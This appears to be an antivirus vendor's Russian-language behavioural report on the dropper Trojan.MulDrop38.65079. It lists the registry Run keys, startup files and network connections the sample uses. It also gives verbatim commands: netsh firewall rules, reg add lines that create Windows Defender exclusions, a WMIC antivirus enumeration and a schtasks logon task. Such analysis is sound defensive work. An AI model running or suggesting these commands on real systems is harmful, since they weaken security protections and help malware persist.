Trojan.MulDrop38.65079

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] '<Имя файла>' = '<Полный путь к файлу>'
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'sitef_system' = '%ALLUSERSPROFILE%\Microsoft\WindowsUpdate\sitef_system.exe'

Создает или изменяет следующие файлы

%APPDATA%\microsoft\windows\start menu\programs\startup\<Имя файла>.lnk
<SYSTEM32>\tasks\test
%APPDATA%\microsoft\windows\start menu\programs\startup\sitef_system.lnk

Вредоносные функции

Запускает на исполнение

'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="<Имя файла>" dir=in action=allow program="<Полный путь к файлу>" enable=yes
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="<Имя файла>" dir=out action=allow program="<Полный путь к файлу>" enable=yes
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="sitef_system" dir=in action=allow program="%ALLUSERSPROFILE%\Microsoft\WindowsUpdate\sitef_system.exe" enable=yes
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="sitef_system" dir=out action=allow program="%ALLUSERSPROFILE%\Microsoft\WindowsUpdate\sitef_system.exe" enable=yes

Изменения в файловой системе

Создает следующие файлы

%TEMP%\av_check.tmp
<Текущая директория>\confs\day.txt
%ALLUSERSPROFILE%\microsoft\windowsupdate\sitef_system.exe
%ALLUSERSPROFILE%\microsoft\windowsupdate\cleanup.bat
nul
%ALLUSERSPROFILE%\microsoft\windowsupdate\confs\day.txt

Присваивает атрибут 'скрытый' для следующих файлов

%ALLUSERSPROFILE%\microsoft\windowsupdate\sitef_system.exe

Удаляет файлы, которые сам же создал

%TEMP%\av_check.tmp

Подменяет следующие файлы

%TEMP%\av_check.tmp

Сетевая активность

Подключается к

'5.##.75.158':443
'5.##.75.158':55590

Другое

Создает и запускает на исполнение

'%ALLUSERSPROFILE%\microsoft\windowsupdate\sitef_system.exe'
'%ALLUSERSPROFILE%\microsoft\windowsupdate\sitef_system.exe' --guard 4620

Запускает на исполнение

'<SYSTEM32>\cmd.exe' /c wmic /namespace:\\root\SecurityCenter2 path AntivirusProduct get displayName /format:list > "%TEMP%\av_check.tmp" 2>nul (со скрытым окном)
'<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\SecurityCenter2 path AntivirusProduct get displayName /format:list
'<SYSTEM32>\cmd.exe' /c netsh advfirewall firewall add rule name="<Имя файла>" dir=in action=allow program="<Полный путь к файлу>" enable=yes (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c netsh advfirewall firewall add rule name="<Имя файла>" dir=out action=allow program="<Полный путь к файлу>" enable=yes (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "<Текущая директория>\" /t REG_DWORD /d 0 /f (со скрытым окном)
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "<Текущая директория>\" /t REG_DWORD /d 0 /f
'<SYSTEM32>\schtasks.exe' /create /tn "Test" /tr "\"<Полный путь к файлу>\"" /sc onlogon /rl highest /f (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c "%ALLUSERSPROFILE%\Microsoft\WindowsUpdate\cleanup.bat" (со скрытым окном)
'<SYSTEM32>\ping.exe' 127.0.0.1 -n 5
'<SYSTEM32>\cmd.exe' /c netsh advfirewall firewall add rule name="sitef_system" dir=in action=allow program="%ALLUSERSPROFILE%\Microsoft\WindowsUpdate\sitef_system.exe" enable=yes (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c netsh advfirewall firewall add rule name="sitef_system" dir=out action=allow program="%ALLUSERSPROFILE%\Microsoft\WindowsUpdate\sitef_system.exe" enable=yes (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "%ALLUSERSPROFILE%\Microsoft\WindowsUpdate\" /t REG_DWORD /d 0 /f (со скрытым окном)
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "%ALLUSERSPROFILE%\Microsoft\WindowsUpdate\" /t REG_DWORD /d 0 /f
'<SYSTEM32>\schtasks.exe' /create /tn "Test" /tr "\"%ALLUSERSPROFILE%\Microsoft\WindowsUpdate\sitef_system.exe\"" /sc onlogon /rl highest /f (со скрытым окном)
'%ALLUSERSPROFILE%\microsoft\windowsupdate\sitef_system.exe' --guard 4620 (со скрытым окном)